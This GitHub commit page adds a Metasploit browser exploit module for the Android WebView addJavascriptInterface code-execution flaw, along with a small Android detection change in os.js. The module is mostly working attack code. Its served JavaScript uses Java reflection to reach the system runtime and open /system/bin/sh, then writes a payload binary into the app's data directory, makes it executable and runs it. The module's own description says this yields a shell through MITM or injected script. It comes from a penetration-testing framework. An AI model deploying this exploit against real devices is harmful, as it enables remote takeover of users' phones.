Skip to content

Commit 19fff3c

Browse files
committed
Land rapid7#2942, @jvennix-r7's Android awesomesauce
Also, thanks to @jduck for testing!
2 parents 3a95a16 + 362e937 commit 19fff3c

File tree

2 files changed

+124
-0
lines changed

2 files changed

+124
-0
lines changed

data/js/detect/os.js

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
184184
} else if (platform.match(/arm/)) {
185185
// Android and maemo
186186
arch = arch_armle;
187+
if (navigator.userAgent.match(/android/i)) {
188+
os_flavor = 'Android';
189+
}
187190
}
188191
} else if (platform.match(/windows/)) {
189192
os_name = oses_windows;
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
include Msf::Exploit::Remote::BrowserExploitServer
11+
include Msf::Exploit::Remote::BrowserAutopwn
12+
13+
autopwn_info({
14+
:os_flavor => "Android",
15+
:arch => ARCH_ARMLE,
16+
:javascript => true,
17+
:rank => ExcellentRanking,
18+
:vuln_test => %Q|
19+
for (i in top) {
20+
try {
21+
top[i].getClass().forName('java.lang.Runtime');
22+
is_vuln = true; break;
23+
} catch(e) {}
24+
}
25+
|
26+
})
27+
28+
def initialize(info = {})
29+
super(update_info(info,
30+
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
31+
'Description' => %q{
32+
This module exploits a privilege escalation issue in Android < 4.2's WebView component
33+
that arises when untrusted Javascript code is executed by a WebView that has one or more
34+
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
35+
APIs exposed by the Interface and execute arbitrary commands.
36+
37+
Some distributions of the Android Browser app have an addJavascriptInterface
38+
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
39+
4.1.2 release of Android is known to be vulnerable.
40+
41+
A secondary attack vector involves the WebViews embedded inside a large number
42+
of Android applications. Ad integrations are perhaps the worst offender here.
43+
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
44+
into the page displayed in the WebView, then you can inject the html/js served
45+
by this module and get a shell.
46+
47+
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
48+
},
49+
'License' => MSF_LICENSE,
50+
'Author' => [
51+
'jduck', # original msf module
52+
'joev' # static server
53+
],
54+
'References' => [
55+
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
56+
'addjavascriptinterface-code-execution-vulnerability/'],
57+
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
58+
['URL', 'http://50.56.33.56/blog/?p=314'],
59+
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
60+
'addjavascriptinterface-remote-code-execution/']
61+
],
62+
'Platform' => 'linux',
63+
'Arch' => ARCH_ARMLE,
64+
'DefaultOptions' => { 'PrependFork' => true },
65+
'Targets' => [ [ 'Automatic', {} ] ],
66+
'DisclosureDate' => 'Dec 21 2012',
67+
'DefaultTarget' => 0,
68+
'BrowserRequirements' => {
69+
:source => 'script',
70+
:os_flavor => "Android",
71+
:arch => ARCH_ARMLE
72+
}
73+
))
74+
end
75+
76+
def on_request_uri(cli, req)
77+
if req.uri.end_with?('js')
78+
print_status("Serving javascript")
79+
send_response(cli, js, 'Content-type' => 'text/javascript')
80+
else
81+
super
82+
end
83+
end
84+
85+
def on_request_exploit(cli, req, browser)
86+
print_status("Serving exploit HTML")
87+
send_response_html(cli, html)
88+
end
89+
90+
def js
91+
%Q|
92+
function exec(obj) {
93+
// ensure that the object contains a native interface
94+
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
95+
96+
// get the runtime so we can exec
97+
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
98+
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
99+
100+
// get the process name, which will give us our data path
101+
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
102+
var ch, path = '/data/data/';
103+
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
104+
path += '/#{Rex::Text.rand_text_alpha(8)}';
105+
106+
// build the binary, chmod it, and execute it
107+
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
108+
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
109+
m.invoke(null, null).exec([path]);
110+
111+
return true;
112+
}
113+
114+
for (i in top) { if (exec(top[i]) === true) break; }
115+
|
116+
end
117+
118+
def html
119+
"<!doctype html><html><body><script>#{js}</script></body></html>"
120+
end
121+
end

0 commit comments

Comments
 (0)